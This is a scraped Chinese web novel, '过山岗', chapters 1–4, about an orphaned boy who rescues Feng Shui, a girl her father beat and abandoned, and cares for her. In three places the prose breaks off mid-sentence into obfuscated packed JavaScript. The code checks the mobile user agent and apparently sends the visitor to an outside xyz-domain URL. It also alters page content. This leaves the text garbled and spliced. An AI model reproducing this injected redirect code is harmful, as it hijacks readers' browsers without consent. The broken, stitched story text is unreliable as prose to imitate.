《过山岗》 1. 枯芽寄01 昨天夜里祁匀山蒋家湾里一场雷电狂风,地里油菜被吹落好多。 第二天天还不亮,湾子最边上的一户人家有个十三四岁的少年起了大早,扛着把锄头就往山里赶。 他家没大人了。 村子里的地他一个人种不过来,只选了临近旧瓦房的荒山上的两片土坡,一片种菜,一片种粮食。 从记事起,家里就只剩下一个顶着一头全白的鸡窝头和打结胡须的瘦杆儿爷爷,爹妈或许是死了,又或许是齐齐跑了,爷爷没文化,脑子也疯疯癫癫的,没给他起名字,去湾下面种地时,村里人看见了问起,他也听不懂,只笑眯眯地管他叫大孙子,又乐呵呵地和村里人介绍这是他的大孙子。 六岁那年,又或者是七岁,爷爷没和他说过他的出生年岁,他也不知道自己究竟几岁,只是后来听村民偶尔谈及爷爷的时候说起过,他跟着爷爷大概有六七年了。 爷爷死在那年夏天的一个晚上,他那会儿不懂事,叫不醒人也不知道出了事,只当爷爷是睡着了,饿了渴了就去屋子里翻剩菜剩饭吃,守着尸体硬是等了三天,尸体出味了,家里狗发了疯似的叫,招来湾下面别家的狗,村民找狗找来他家,他才知道爷爷死了。 家里只剩他一个小孩儿,手不能提肩不能扛的,蒋家湾湾上面又只有他们一家,别的都在湾下面,连土地在上面的都没有,想让临近的人单独帮一下都没辙,最后商量了一下,还是决定大家伙儿一起帮着把人给下葬了。 几个男人把爷爷从床铺上搬下来的时候,背后都已经腐烂,生了半个床板的蛆,他就那么木讷地站在墙边,脚边坐着爷爷的狗。 立碑的时候,刻字的人不知道爷爷的名字,辗转问了好几个村里的老人,有的说叫蒋二,有的说叫蒋二狗,还有的说就叫蒋鸡毛,一种地的老头哪有什么名字,最后还是聊八卦的时候遇到了一个已经搬出村子许久、专门回来找草药的阿婆,才得知爷爷真正的名字——蒋二全。 爷爷下葬后,村里人各家有各家的事要忙,各家也有各家的人要养活,实在没人敢要这么个小崽子,于是他开始自己活着。 循着记忆里爷爷的模样,劈柴、烧火、做饭、洗碗……斧头拿不动,就先捡小的树干当柴火,人不够灶台高,就搬凳子踩着,菜烧糊了饭烧糊了也不要紧,吃着吃着就习惯了。 问题最大的是,他刚开始做饭的时候不会点火柴,手烫起泡不说,做一次就浪费十几根火柴,爷爷不抽烟,只喝酒,家里的火柴只用来做饭点火,小半年才去一趟镇上集市买,上次是过年那会儿买的,眼前用光的,正好是最后一盒。 他那会儿小,不认路,也不知道爷爷把家里的钱放在哪儿,又或许根本就没有钱,饿得狠了,把家里地里能吃的都生吃了一遍,眼冒金星了,又遇上暴雨季,连绵好几天的刮风下雨,湾子涨水,桥都被冲垮了,最后愣是跟着家里的狗沿着小路绕了下去,找到湾下的一户村民,抱着一捆拾掇好却被大雨淋湿的小树枝和一壶爷爷自己酿的酒敲开门,说想换一盒火柴。 村民看他可怜,将火柴递给他,收了树枝,但还是没要爷爷的酒。 “二全孙子,等过段时间玉米熟了,湾那边会有人来收,到时候你就有钱去镇上买火柴了。” “要等多久?” “一两个月吧。” 回去的路上又下了场暴雨,他将那盒火柴揣在怀里跑回了家,不敢打湿一丁点,小心翼翼地放好之后,拿上斗笠一人一狗跑去地里一看,连日的狂风暴雨,也没有任何措施,哪还有什么玉米。 他冒着雨光脚下地,从旁边掰树枝插进地里,将玉米一个个扶起来,没折断的扶,折断了的也扶,他刚开始没有拿东西固定,刚弄好一小片,斜风一吹,全部又倒下,他又返回去,拔路边有韧劲儿的草将玉米杆绑在树枝上,一遍一遍,一棵一棵,一直到雨停了,太阳出来,斗笠和身上的衣服被淋湿又被晒干了,他才红着脸滴着汗从地里出来。 在田埂上看着满地狼藉坐了好一会儿,爷爷的狗一直在他腿上舔舐着,山林里有清脆的鸟叫声传来,他颤抖着唇大哭起来,怎么也停不下来。 从那刻起,他才真正明白,爷爷死了,是什么意思。 那年的玉米几乎颗粒无收,外面的小贩来收的时候,他将攒了两个月的野果子搬了出来,整整六筐,但有的已经开始腐烂,不值钱了。 小贩在他家里转了转,看上爷爷的酒瓶,说买果子可以,得送酒瓶,给的钱够他买三盒火柴。 家里的火柴已经撑不了几天了,玉米过季,这些小贩再来就得是收红薯的时候了,他不想再过喝冷水吃生米的日子,想卖,但爷爷生前最喜欢那个酒瓶,总是对着阳光摩挲着酒瓶的瓷面,和他说着,除了他之外,这个瓶子是他最宝贝的东西。 他没卖,小贩想收他的果子,说他的果子全坏了,他一个小孩儿不方便,他们可以帮他扔了,他也没答应。 本以为此事就这么作罢,夜里狗叫连天,堂屋里传来动静,他拿着斧头冲过去,家里没通电,黑暗中他看见白天的小贩手里拿着爷爷的酒瓶,被狗咬住小腿肚子,龇牙咧嘴地踹狗。 “放下我爷爷的酒瓶!” 他拿着斧头冲过去,那人将狗狠狠踹向一边,拿着酒瓶跑了,却不料门外聚集了湾子下面一群狗。 小贩满身是血地跑了,酒瓶碎在屋门口,青瓷碎片嵌进泥土里,溅落在草丛中,找不全了。 他摸着黑将大的碎片捡起来,拿破了洞的衣服兜住,进屋却看见堂屋地上淌着好大一滩血。 爷爷的狗,死了。 他双腿一软,跪地大哭。 那年的夏天尤为漫长,饥饿和绝望的滋味时刻包裹着他,但有时候他也庆幸,幸好是在夏天。 地里的庄稼没有收成,他就去山里找野果和草药,认识不认识的都采下来,拿背篓装好,循着山路往镇上走着,他年纪小,走得慢,光是去一趟就是两三天,路上饿了渴了,就吃果子,晚上,就紧紧抱着背篓睡在树下,太阳升起,继续走。 刚开始采的果子不值钱,草药也有大半都是杂草,一趟下来只够火柴钱,后面慢慢有了经验,识货了,卖到的钱才多了些,买米买油买种子。 身上的衣服破了,打了一次又一次补丁,他也不花钱置办,穿爷爷的衣服,一件一件地穿,穿坏了,满是补丁了,就洗好收进衣柜,一件一件叠好。 他也开始蓄头发,长到遮眼,遮耳朵,但不能全遮住,也不能遮脖子,遮一点都不行,不能打理,要乱糟糟的,但也不能长虱子,不能臭。 他重新买了条狗,或者说,是集市上别人不要的,说是太瘦弱了,本来打算卖,但卖不出去,于是又开始送,结果三天都没送出去,老板就打算直接扔了,但他还是花钱买了,他拿草编成一个垫子垫在背篓里,小心翼翼地将狗放进去。 年月如同山路上被夕阳一点点拉长的影子般逐渐累积,一人一狗,就这样慢慢长大。 “嘿你这个死鬼!老娘跟你说话你听不见呐!让你吃了馒头再去做活儿!” 身后传来一个女人渐渐走近的呼喊,昔日孩童已经长成少年,他扛着锄头停下上山的脚步,顶着一头灰扑扑的头发回过头去,下巴已经开始生出一层薄薄的胡茬。 身后的女人抓着个纱布包着的馒头跑过山脚的草丛,擦了把汗看清自己刚才骂的人,瞬间傻了眼,赔笑道:“哟!是二全孙子啊,不好意思不好意思,我在湾那边看到你扛个锄头,还以为是我家老三呢,我还正奇怪他说出来挖地松土,跑到湾上头来做什么。” 这样的事少年早已习以为常,爷爷已经死了七年,算起来,他今年也该十三四了,身形虽然还偏薄,但身高出挑,已经和村里成年男人差得不多,平常又总是穿蒋二全的旧衣服,或扛着锄头或背着背篓,隔着这些个树林草丛,确实是容易认错。 他转身之前就猜到了女人的回答。 毕竟在蒋家湾,他一直是一个人,不会有人找他,也不会有人关心他,连骂他的人都没有。 他简单嗯了一声,转身继续上山。 他种的地在山顶,虽然这座山在湾上头,离湾下的人家都远,其他地方也没什么人种,但各种草木茂盛得很,开荒很麻烦,山顶虽然远点儿,但爷爷之前一直种着,相比其他土地,这座山上的离家也近,背庄稼上上下下也方便一些。 昨晚在屋里都能感觉到风大雨大,山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669867|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶只会更甚,虽然这会儿油菜已经授完粉,风吹雨打影响也不大,但昨晚的风着实不简单,他还是怕油菜会被吹断,天刚擦亮就扛着锄头来了地里。 不过除了边缘上的一些和中间比较弱小的几株被吹折了,其他的只是有点歪,不怎么影响收成。 他松了口气,将带来的一篮用草木灰处理过的发芽土豆放到地上,准备去旁边开田。 冬天过了,春天已经很深,这个季节适合种一切,家里的水田已经荒了多年,他今年又长了不少力气,打算收回来种点水稻。 但在这之前,土豆依然是他家除了小麦之外的重要粮食,不想饿肚子,就要提前下功夫。 刚挖了两锄头,旁边绿油油的杂草堆动了动,两只立着的白色毛耳朵下面,一只狗头从里面冒出来,身子都还没在草里,就冲他欢快地摇着尾巴。 少年笑了笑:“自己啃草吃,今天走得急,没带吃的上来。” 狗周身纯白,照村里人的思维,黑的叫小黑,花的叫小花,白的自然就该叫小白。 但他没给狗起这样的名字,也不知道该起什么好。 他自己活了这么多年,都只被人叫做二全孙子,他不想被这样称呼,但他没读过书,也不知道给自己起什么名字。 夜里睡不着的时候,偶尔会看着房梁上的蜘蛛网想名字,有时想他的,有时想狗的,有时也会想想爷爷的,但想到最后,还是不了了之。 有名字又怎样,没有又怎样,他生在这里,长在这里,没读过书,种地也全靠自己摸索,出不了这座山,在这儿种一辈子地,然后死在这儿。 像爷爷那样。 不过应该也不会有人给他刻碑了吧。 或许也有,就刻——二全孙子之墓。 山上日头越来越大了,他加快了动作,将土豆都种了下去,将锄头放在一边,担起藏在草堆里的水桶去山下打水。 小白狗跟着他桶后面走着,快到山腰的时候,它突然窜到他前面站住,浑身警惕地看着前方。 少年察觉异常,轻手轻脚地将扁担卸下来握在手中。 没有走路时裤脚和胶桶摩擦草叶的声音,周围安静下来,正常的鸟叫声之外,有一个中年男人说话的声音。 “操你妈的!真他妈是个克星!难怪生下你之后你妈就生不出儿子了,生不出就算了,落了一身病,家里活计一样不干还烧钱,好不容易病死了,老子娶新媳妇,刚怀上,你又给老子克落胎了!” “你就死在这儿吧,就当报答老子生你养你这么十多年。” “还看老子?再敢看老子现在就打死你!” “我呸!真他娘的晦气!” 男人说完后走了,边走边骂,但脚步很快,到后面几乎是跑下去的。 少年手里拿着扁担,大概猜到了那人是谁,也猜到了被扔下等死的是谁。 蒋家湾特别穷,一直到现在也没通电,大部分人倾尽全家之力都只能娶一次媳妇,娶两次的,只有曾在镇上开过三年裁缝店的蒋六牙家,但近几年,又没落了。 少年一直以为裁缝店是蒋六牙自己开的,还是之前去镇上卖草药的时候,才听说蒋六牙的裁缝店其实是他前一任老婆的,老丈人和丈母娘都死了,他就开始抢老婆钱去打牌,后来店就被他搞垮了,带着怀孕的老婆回村里种地生孩子,没生出儿子,就整天打骂母女俩,之后老婆没几年就死了,但那会儿也没听谁说过那女儿是丧门星。 过年那会儿蒋六牙新娶了老婆,村里就开始出现一些流言。 现在才是四月,半年都不到。 小白狗在他脚边蹭了蹭,摇着尾巴咬着他裤脚往前带。 他垂下视线看着狗,却没有往前。 他将桶重新套上,担起来走了另一条路下山。 给土豆浇完水已经过了饭点,湾的那边的炊烟都散了,他往山洞的方向看了看,扛着锄头下山。 回家后他将锅里的冷粥热了热,把狗喂了,上床睡觉。 醒来时,天已经黑了,他看着时间,先做了晚饭吃,洗碗的时候小白狗没在厨房,他擦好灶台出去,看见狗正坐在门口盯着湾那边看,他抬头看去,竟是起了好大的烟。 2. 枯芽寄02 蒋六牙家起火了,村里人把火扑灭的时候,房子都烧塌了,一家四口人,烧得只剩骨头。 少年站在远处,看着蒋六牙家附近星星点点连成片的火把和煤油灯,应该是在准备下葬。 就像当初葬爷爷时一样。 黑夜,火把,深坑,掩埋。 她家里人全死了。 那他也不用等后半夜了。 他赶紧回了家,去灶屋里取了个手臂粗细的木头,拿破布裹好浸了油,拿上火柴往荒山走着。 小白狗跟在他后面,一人一狗,一灰一白,在如墨的山林里安静而快速地走着,只有脚踩枯枝和擦过草叶的声音窣窣作响。 进了坡,有树林和杂草遮掩,少年拿出火柴点燃火把,橙黄的火苗因他的前进不断跃动着,灰色的、细流一样的烟雾从火苗尖端向上涌出,他循着上午的路往山洞走去。 这个山洞原本已经长满杂草,之前给油菜浇水的时候他经过,看见洞口还生了棵小树苗,都快有人高了,只是长的手指粗细,看着就活不长,现在走过来一看,果然如此。 蒋六牙中午扔女儿的时候应该是嫌弃这洞口的草木碍事,直接全部踩平了,被踩断的树苗枝干和已经融成一滩酱的草叶上还有他鞋底的泥土,只不过晒了一下午的太阳,泥巴已经干了,植物纤维也都死了。 倒地的树冠枝叶划过他手臂,他下意识一看,瞥见一道血痕。 沙的、像粉一样的质地。 他抬眼看向那几片树叶,竟是已经干透的血迹。 他心里猛地一紧,大步往山洞里走去,火光照亮长满草木的狭小空间,一个满身灰土的、脸上、脖子上、手臂上全是青紫和淤血的女孩儿正皱紧了眉闭眼靠在一块生了青苔的石头上一动不动,她头上扎着的两个辫子已经散了一半,脸和嘴唇都白得像纸,看上去像个破烂脏污的布娃娃。 他先是一愣,而后蹲下试探了她的鼻息,拧着的眉才慢慢松开。 他将火把插进土里,小白狗跟过去守在火把边上坐下。 他背对着女孩儿蹲下,拉着女孩儿的手想把她背起来,刚碰到她的手,身后的人忽然动了一下,再然后被吓到般叫了一声,声音很小,小到几乎不能称之为叫声。 她缩了缩,对着他的背影问着。 “你……你是鬼吗?” “要?要来接我去阎王殿?” “这里?就是黄泉路了吗?” 少年这才发现手心一阵黏腻,他借着火光看,竟是一手的血。 他刚才,应该是捏到她的伤口了。 “你……你怎么不说话?” “鬼……不能说话吗?” 少年转眼看她,她手臂上的伤口被他捏得裂开了,此刻正苦着脸往伤口上吹气,吹着吹着就又疼哭了起来,两颗晶莹的泪珠从她眼眶溢出,在沾了泥土的脸上留下两道泪痕:“怎么死了还要流血?好痛……” 少年不由得叹了口气:“你没有死,我也不是鬼。” “我是住在湾上头的人,我来救你。” 女孩儿睁着双大眼睛看着他,眨了一下又一下:“哥哥,你长得真好看。” 少年被她没来由地这么一句夸奖惊到,霎那间红了脸,他转过头去:“上来,我背你回去。” 身后发出一点小动静,然后是女孩儿带着哭腔的呜咽:“我……我起不来。” 少年咽了咽,转过身去将她轻轻抱起,她比他想得还要轻,满身的骨头,没剩下几两肉。 他将她在山洞洞口一处凸起的石头上放了一下,轻轻拉着她的两只手举过自己头顶,转过背去,将她的手在肩头放好,微微蹲下,伸手去抓她的腿,手穿过腿弯将她背起来。 “抱好了,别摔。”他这么说了句,俯身去拿插在地上的火把,再次起身的时候,能感觉到女孩儿轻轻搂着他脖子。 他猜她应该是手臂有伤,使不了什么力气,背着她走的时候上半身向前倾了一些。 他背着女孩儿走出洞口,将火把横着往前拿着,火把把手准备得很长,这样拿着也不会烧到人。 走之前他回头特地看了眼,确认小白狗跟在他后面走着,才往山顶上走,他不爱冒险,打算原路返回。 “你……你知道我是谁吗?”女孩儿忽然这么问了句。 少年背着她爬坡:“蒋六牙的女儿。” “你?你知道?” 他没回话。 “你……你不怕死吗?” 他又往上走了一段,才说了句:“反正活着这么苦,真有本事,你就克死我。” “克死你?”女孩儿先是一愣,而后将他紧紧抱住,对他来说力道并不大,但能感觉到她手臂和腿脚都在用力,连脸都埋进他后颈,软软凉凉的。 就是又有泪水流了下来,和他的汗珠汇合在一起。 “不要。” 她抱着他哽咽着。 “我不要克死你。” “哥。” . 他将她背回了家,烧了热水、倒了白酒给她处理伤口。 从伤口上看,蒋六牙应该是真的想把她往死里打的,除了手臂和腿,看衣服上的脚印,她后背应该也有很多伤,少年原本还有点顾忌,但女孩儿实在伤得重,回来的路上不小心被树枝剐蹭到,都疼得发抖,这个伤势再不尽快处理,只怕真的会出事。 反正她叫了他一路的哥,那他就先给她当一回哥哥吧。 “我给你处理一下衣服下面的,你别害怕,我没别的意思。” 女孩儿躺在床板上,痛苦地皱眉点了点,流着眼泪小声应了一声。 他借着煤油灯小心地掀开她带血的衣摆,触目惊心的出血红痕,应该是用细树枝打的。 他皱紧了眉,拿手帕给她擦拭之前轻声说:“忍一忍。” 伤口全部处理好,他拿了件干净衣服给她换上,又去堂屋将背篓里采的一些活血化瘀的草药洗了洗,一些捣碎一些加水熬煮,给她的伤口敷了药,去灶屋里把走之前在锅里温着的粥和菜盛出来,端到床边一口一口喂她。 女孩儿还没从刚才的疼痛里缓过劲儿来,而且蒋六牙饿了她两天,突然一下要吃东西了,她一连三口都没能咽下去,吐也没力气吐,沿着嘴角流下,和溢出的眼泪凝在一起。 少年不知道她是痛的,而且刚才检查的时候明确看她肚子上没怎么伤到,不应该有这样的反应,以为是伤到了内脏,他怕她出事,可家里又没有别的药,最近的一家诊所也在十几里外的村里,而且今天是星期天,医生根本就不在那里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哥……你有名字吗?”她有了些精神,回到了在山洞里时的状态,靠在他肩头含着糖模糊不清地问了句。 他一只手扶着她,一只手拿着装红糖的、皱巴巴的塑料袋,咽了咽没说话。 女孩儿以为是他不好意思,先说自己的:“我叫冯水,我妈去世前给起的。” “她说我是女孩儿,叫水好听,生在这大山里,也好养活。” 冯水。 少年在心里默念了一遍这个名字。 水。 他攥紧拳头抿紧了唇,这么多年来他思索不透的问题终于有了答案,他垂着眸咽了咽,不大自然地拼凑出自己的名字:“蒋山。” “蒋山?”冯水含着糖重复一遍,“真好听。” 少年没回答她,床边煤油灯快要燃尽,缕缕天光从窗户透进来,落在少年通红滚烫的耳尖上。 他有名字了,叫蒋山。 “哥,我还想吃。”女孩儿在他怀里喃喃一句,他又喂了块儿糖给她。 对了,还多了个妹妹,叫冯水。 3. 枯芽寄03 冯水能吃进去东西,也能喝药,就是腿受伤严重,一动就喊痛,白天换药的时候蒋山又给她检查了一次,确定没有骨折,应该是比较严重的皮肉伤,他到底不是医生,虽然认识一些草药,但也只能在昨晚那样的情况暂时救个急,现在有条件了,他还是得去找医生拿点药才行。 他给冯水喂了饭,把糖和水放她床边,让小白狗守着她,独自去了隔壁村买药。 两个村子隔得远,他路上没敢耽搁,回到家的时候也已经天黑。 小白狗听见他回来的动静,一开门就围着他脚边转,蒋山关上门,拿药进了房间。 屋子里没点灯,黑漆漆的一片,蒋山这才想起来忘了告诉冯水火柴在桌子下面,他在门口适应了一下黑暗,照着平时的方向摸到桌子,火柴擦亮两秒,他将煤油灯点燃。 “冯水?”他举着灯轻轻唤了一声。 床上的人没有立刻回应,蒋山快步往前走近,看见她平躺在床上哭着,她应该是想憋住这个情绪,眉头拧着,努力将向下的嘴角持平,用力到嘴唇都在发抖,但最终还是一抽一抽地流眼泪。 蒋山把药放在床边,举着灯仔细又小心地看了看她的伤:“是又痛了吗?” 冯水抽泣两下,断断续续回应:“不是……” “那是怎么了?” “我……害怕。” “怕什么?” 冯水咬住了唇,只说了一半:“怕黑。” 蒋山松了口气,将煤油灯在床头的柜子上放好,拿水壶给她倒热水。 “我走的时候没想到会回来这么晚,也忘了和你说火柴的位置。”他往地上瞥一眼,小白狗正睡在床边,看他看过来,起来冲他摇着尾巴。 本来想着有狗陪着,应该不会有什么大问题。 “下次不会了。”他往碗里放了块儿糖,拿筷子搅化,坐在床边扶她起来,“起来喝点儿水,一会儿吃了饭把药吃了。” 冯水靠着他慢慢坐起来,就着他递来的碗喝了口,吧嗒又是两滴泪:“嗯。” . 蒋山去灶屋做好饭,先给冯水端了过来。 冯水手上伤还是很严重,蒋山不在的时候没办法只有自己喝水,但现在蒋山在了,自然还是由他来喂。 “再吃两口。” 蒋山将碗里剩的另一半煎蛋拿勺子捣碎喂给她,冯水张嘴吃下,嚼着嚼着,眼里又蓄起泪水。 蒋山实在是不懂她到底在哭什么,从昨晚一回来就哭,但昨晚是因为被打、被抛弃、被救,还有伤口疼得哭,刚才是因为怕黑哭,那现在吃饭吃得好好的,到底有什么好哭的? 他忍着烦躁出了口气。 冯水察觉到,抬眸看他一眼,低头在手臂上蹭掉眼泪,吸了吸鼻子继续张嘴吃。 蒋山本来还觉得烦,但看她这样懂事,忽然又觉得自己刚才那样的反应有点过了。 “我没有讨厌你。”他喂着解释一句。 冯水大口大口嚼着,点头答应:“嗯。” “慢点吃。”他叮嘱一句。 冯水点头又嗯了一声,放慢了咀嚼的动作,一碗粥以正常的速度见了底。 “我再去给你盛一碗。”蒋山起身。 “我吃了你还有的吃吗?” 冯水忽然这么问了句,蒋山站着愣了一秒:“当然有啊。” 冯水眉毛轻轻拧了拧,抿着唇低头,眼睛被藏进阴影里。 她又要哭了。 “我煮了一锅,我们俩吃了,还得喂狗。”他说。 “那……鸡蛋呢?” 蒋山再次怔住,忽然明白了她刚才在哭什么。 她应该是以为他把家里唯一的鸡蛋喂给了她吃,自己都没得吃了。 “后面有个鸡圈,里面有三只母鸡,隔三差五下蛋,家里攒了挺多的。”他解释说,“吃不完的。” 冯水沉默着点了点头,一滴泪落下,在烛光下闪动一瞬。 都已经解释过了,蒋山也不知道还能说什么才管用,又不敢叹气,怕她听见了又以为他讨厌她,最后只是默默咽了咽,转身去给她盛饭。 再次回来时,她脸上的泪痕明显被擦过,靠在床头朝他笑着。 笑容有些牵强,她还是怕他烦她哭。 蒋山心里莫名有些不是滋味,一开始确实是有点烦的,但现在,似乎不烦了。 或者说,烦的是别的原因。 他走过去在她旁边坐下,继续喂着,碗里还是有一个煎蛋,只不过这个真的是他给自己做的,吃了就没得吃了。 冯水这次吃得很快,也没有再哭,又一碗见底,蒋山把水倒出来晾着,和她说了一声,唤着狗去灶屋吃饭。 洗好碗之后回来,蒋山把药拿出来,往碗里倒了点热水冲着,想着冯水手不方便,把药包拆开了再递给她。 冯水抬头看了看他,又看了看被他递到面前的被一张纸包着的药,疑惑两秒,直接埋头张嘴吃掉了他手心的药。 药丸苦得要命,冯水几乎是一瞬间就皱巴了脸,蒋山都来不及从刚才的震惊里脱离出来,就赶紧把水喂给了她。 冯水将头凑过来猛喝好几口,一碗水直接饮尽。 “慢点喝,别呛着。”蒋山刚想给她拍拍背,忽然想起来她背上还有伤,止住了手。 然后视线再次落在刚才递药给冯水的那只手上。 他是想递给她手上的,不是想让她在他手上吃。 诊所开的药丸零零散散,包药的纸也薄薄一层,她在他手上吃,会不方便。 就像刚才,隔着一层薄薄的纸,他的手心沾上她唇瓣和舌尖的温度。 和喂她吃糖时偶尔被碰到指尖的感觉不一样,这次是手心。 他借着因风吹而跃动的烛光看着手心。 痒,似乎还有点发烫。 “哥,我还想喝水。” 他回了神,手指向内握了空心拳,将碗放在桌上,腾出另一只手倒了水,再次喂给她。 “哥,这药是不是很贵?”她喝了水,睁着大眼睛问他。 蒋山喉头发着涩,他清了清嗓:“不贵。” 你别死就行。 他转过身去放了碗,时间也不早,他昨晚守着冯水一夜没睡,白天又来回走了大半天,确实是有些疲惫了。 但家里就这么一张床能睡,以前蒋二全在的时候,两爷孙还可以挤一起睡,但冯水是个女孩儿。 蒋山搓了把脸醒醒神,都搓完了,才突然想起用的是喂冯水吃药的那只手。 他无奈地闭了闭眼,往冯水那边看了眼,她正全神贯注地看着在一旁追着自己尾巴啃的狗,大概是察觉到他的目光,转过来一脸疑惑地看他:“哥?” 蒋山移开了眼神,装作无事发生。 “吃了药早点睡,我也要去休息了。”他自顾自这么说了句,虽然他也不知道接下来该睡哪儿。 堂屋吧?不然睡隔壁粮仓也行,现在天气转暖了,随便在地上铺个草席也能过夜。 “嘬嘬……”他唤着还在绕圈啃尾巴的小白狗,“出去了。” 冯水听他总是这样唤狗,觉得有些奇怪:“哥,这条狗的名字就叫嘬嘬吗?” 蒋山一时哑然,整个人都有些尴尬地僵在原地。 过了好一会儿,他才开口:“不是。” “它没名字。” “没名字?”冯水觉得更奇怪了,“它也是新来的吗?” 蒋山更是难以回答,脸都快要烧起来:“也不是。” 冯水皱了眉,奇怪地看了看蒋山,又看了看地上终于停止转圈的狗。 “你想叫什么都行。”蒋山故作镇定说了句,“我无所谓。” “我来起名字吗?”冯水有些意外地看他。 蒋山错开视线,转过脸去看狗:“嗯,随便起吧。” “我懒得想。”房间里都安静下来了,他又补充一句。 “哦。”冯水点了点。 原来是懒得想,不是故意不起名字。 那他应该也是很喜欢这条小白狗的吧? “那叫小花好不好? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669869|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”冯水忽然冒了句,“花好看,最容易讨人喜欢。” 蒋山听到这个名字,先是觉得意外。 一条纯白的狗,叫小花? 但后面冯水的解释又让他觉得莫名合理,而且他都说了让她随便起的,总不好食言吧? 小花……也挺好听的。 虽然这是条公狗。 他看着正朝他摇尾巴的狗默默叹了口气,点头应下:“好。” “那你睡吧,我出去了,有事叫我。”蒋山把狗唤了出去,关门之前这么叮嘱了句。 冯水轻轻拧着眉,没答应,却也没说什么。 蒋山关上了门。 房间里再次陷入一片寂静。 煤油灯还在燃着,用久了的灯盏里混了尘土,灯芯时不时会蹭地炸开几个小火花。 冯水看着自己正躺着的这张床,一时鼻酸,又要落泪。 妈妈冯春梅去世之后,她就没再睡过床了。 有时是吃饭时用的长条凳,有时是几捆柴,有时是草叶子。 看蒋六牙和爷爷奶奶心情,后来继母来了,就都是柴了。 她只能睡柴房,刚开始她还会哭,后面继母说不听话的孩子都该被扔到山里喂狼吃,她就连哭都不敢了,半夜自己一个人蜷缩在柴堆上的时候也不敢哭出声音,睡着了也总是梦见自己躺在狼堆里,好几头恶狼猛地一下朝她扑来。 现在她被连面都没见过的蒋山救了,他给她处理伤口,给她买药,喂她吃饭,还让她睡床。 她不该再哭的。 她吹了灯,慢慢躺了回去。 偏头在枕头上擦了擦泪。 他没有扔下她。 他只是去别的房间睡觉,明天还能见到他的。 就像下午的时候,他走了那么久,最后不还是回来了吗?还给你买了药,还做了饭喂你。 他没有要像蒋六牙那样扔下你让你在这里等死。 他不一样的,和蒋六牙、和继母都不一样。 他不会把你扔进狼堆里,这里也没有狼。 冯水在心里不停默念这几句话安慰自己,眼泪却还是止不住地往下流。 忽然,门吱呀一声被打开,正抱着一卷草席的蒋山握着门把探进半边身子:“你怎么又在哭?” 他这句话问得平淡,听不出到底是什么情绪,屋里灯灭了,冯水看不清蒋山到底什么表情,只记得他刚才喂饭时看到自己哭的时候烦躁得叹了气,下意识认为是自己吵到他、又让他烦了,慌忙抬手擦泪,却一下扯到了伤口,疼得缩了起来。 “冯水?”蒋山将草席扔地上,划拉火柴点了灯,“我看看。” 他查看了下她的伤口,果然又在往外冒血。 冯水看他皱眉拿药,以为是自己又给他添麻烦了:“对不起……” “你跟我说对不起干什么?”蒋山给她上着从诊所拿的止血药,“疼傻了?” 冯水含着泪看着他,没接话。 伤口再次包好,蒋山困意上头,却也不慌着走人,岔开腿坐床边凳子上,手撑着膝盖弯了脊背问她:“说吧,到底在哭什么?” “我一走你就哭一走你就哭。”他抬头看了看,“这屋里到底有什么?” 他想起傍晚的时候冯水和他说过怕黑,又说:“怕黑你可以不灭灯,家里有油,烧得起。” 只要你别总哭,但故意装成不哭了的样子也不行。 我看了心里不舒服。 他闭嘴咽了咽,没让这些话从嘴里钻出去。 或许是意识到哪里不对,他在心里又找补一句。 小花哭或者故意在我面前装不哭我也会不舒服。 毕竟都是我带回家的,我当然要负责。 “哥。”冯水终于开口说话,“你今晚……可以陪着我睡吗?” 蒋山刚想说这怎么能行,又听见她说:“我妈妈死了之后,就没有人再陪我睡过了。” “我……”她忽地哽咽一下,然后豆大的眼泪和变了调的话语一起涌出,“我害怕……” 4. 枯芽寄04 蒋山最终还是在她床边的地上铺了草席,从柜子里拿了个旧棉袄卷起来当枕头,躺下去之后在胸口随便搭了件衣服。 “哥……你睡地上冷不冷?”冯水又在枕头上蹭了蹭眼泪,“你把被子拿走吧。” 我以前睡柴堆上的时候,就好希望能有床被子。 蒋山才把她手上的伤包好,她没敢乱动,只睁着一双大眼睛望着他,时不时眨一下。 蒋山转头,正好和她对视上。 又一次默默叹气。 “你自己盖好别动。”他从地上起身,去柜子底下翻出一床破了洞的旧棉被,前几年就放着没用了,现在拿出来闻着都有股霉味,“我盖这个就好。” “睡吧。”他重新睡下,盖好被子就没再说话。 其实他家里还有一床完整的被子,但那是数九天才拿出来盖的厚棉被,现在这个季节盖着也不合适。 但他没说,冯水也不知道这些,她将被子上破的那个大洞看在眼里,蒋山已经重新躺下闭了眼,她不敢再说话。 以前在蒋六牙家里的时候,蒋六牙总说家里穷,养不起她,什么都不给她准备,吃的用的都是家里人剩下的,冯春梅在的时候,她一天还能吃上三顿,虽然不怎么能吃饱,但哪怕是汤汤水水,好歹是有的吃,冯春梅一走,她就变得吃了上顿没下顿,每天都饿,但每天又都没被饿死,就那么熬着,竟然也熬到了现在。 蒋山今天给她吃了鸡蛋,给她买药,还让她睡床,弄得自己都没床睡,盖的被子也是破破烂烂的。 